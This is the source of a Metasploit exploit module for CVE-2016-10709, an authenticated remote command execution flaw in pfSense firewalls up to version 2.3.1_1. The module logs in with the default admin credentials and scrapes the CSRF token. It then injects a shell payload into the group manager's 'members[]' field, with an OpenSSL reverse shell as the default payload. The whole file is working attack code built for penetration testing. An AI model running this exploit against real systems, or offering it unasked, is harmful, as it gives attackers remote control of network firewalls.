Path: blob/master/modules/exploits/unix/http/pfsense_group_member_exec.rb
24989 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'pfSense authenticated group member RCE',15'Description' => %q{16pfSense, a free BSD based open source firewall distribution,17version <= 2.3.1_1 contains a remote command execution18vulnerability post authentication in the system_groupmanager.php page.19Verified against 2.2.6 and 2.3.20},21'Author' => [22's4squatch', # discovery23'h00die' # module24],25'References' => [26[ 'CVE', '2016-10709' ],27[ 'EDB', '43128' ],28[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']29],30'License' => MSF_LICENSE,31'Platform' => 'unix',32'Privileged' => false,33'DefaultOptions' => {34'SSL' => true,35'PAYLOAD' => 'cmd/unix/reverse_openssl'36},37'Arch' => [ ARCH_CMD ],38'Payload' => {39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'perl openssl'43}44},45'Targets' => [46[ 'Automatic Target', {}]47],48'DefaultTarget' => 0,49'DisclosureDate' => '2017-11-06',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60OptString.new('USERNAME', [ true, 'User to login with', 'admin']),61OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),62Opt::RPORT(443)63], self.class64)65end6667def login68res = send_request_cgi(69'uri' => '/index.php',70'method' => 'GET'71)72fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?73fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 2007475/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body76fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?77vprint_status("CSRF Token for login: #{csrf}")7879res = send_request_cgi(80'uri' => '/index.php',81'method' => 'POST',82'vars_post' => {83'__csrf_magic' => csrf,84'usernamefld' => datastore['USERNAME'],85'passwordfld' => datastore['PASSWORD'],86'login' => ''87}88)89unless res90fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")91end92if res.code == 30293vprint_status('Successful Authentication')94return res.get_cookies95else96fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")97return nil98end99end100101def detect_version(cookie)102res = send_request_cgi(103'uri' => '/index.php',104'method' => 'GET',105'cookie' => cookie106)107unless res108fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")109end110/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body111if version112print_status("pfSense Version Detected: #{version}")113return Rex::Version.new(version)114end115# If the device isn't fully setup, you get stuck at redirects to wizard.php116# however, this does NOT stop exploitation strangely117print_error("pfSens Version Not Detected or wizard still enabled.")118Rex::Version.new('0.0')119end120121def check122begin123res = send_request_cgi(124'uri' => '/index.php',125'method' => 'GET'126)127fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?128fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200129if /Login to pfSense/ =~ res.body130Exploit::CheckCode::Detected131else132Exploit::CheckCode::Safe133end134rescue ::Rex::ConnectionError135fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")136end137end138139def exploit140begin141cookie = login142version = detect_version(cookie)143vprint_good('Login Successful')144res = send_request_cgi(145'uri' => '/system_groupmanager.php',146'method' => 'GET',147'cookie' => cookie,148'vars_get' => {149'act' => 'new'150}151)152153/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body154fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?155vprint_status("CSRF Token for group creation: #{csrf}")156157group_name = rand_text_alpha(10)158post_vars = {159'__csrf_magic' => csrf,160'groupname' => group_name,161'description' => '',162'members[]' => "0';#{payload.encoded};'",163'groupid' => '',164'save' => 'Save'165}166if version >= Rex::Version.new('2.3')167post_vars = post_vars.merge('gtype' => 'local')168elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed169post_vars = post_vars.merge(170'act' => '',171'gtype' => '',172'privid' => ''173)174end175send_request_cgi(176'uri' => '/system_groupmanager.php',177'method' => 'POST',178'cookie' => cookie,179'vars_post' => post_vars,180'vars_get' => {181'act' => 'edit'182}183)184print_status("Manual removal of group #{group_name} is required.")185rescue ::Rex::ConnectionError186fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")187end188end189end190191192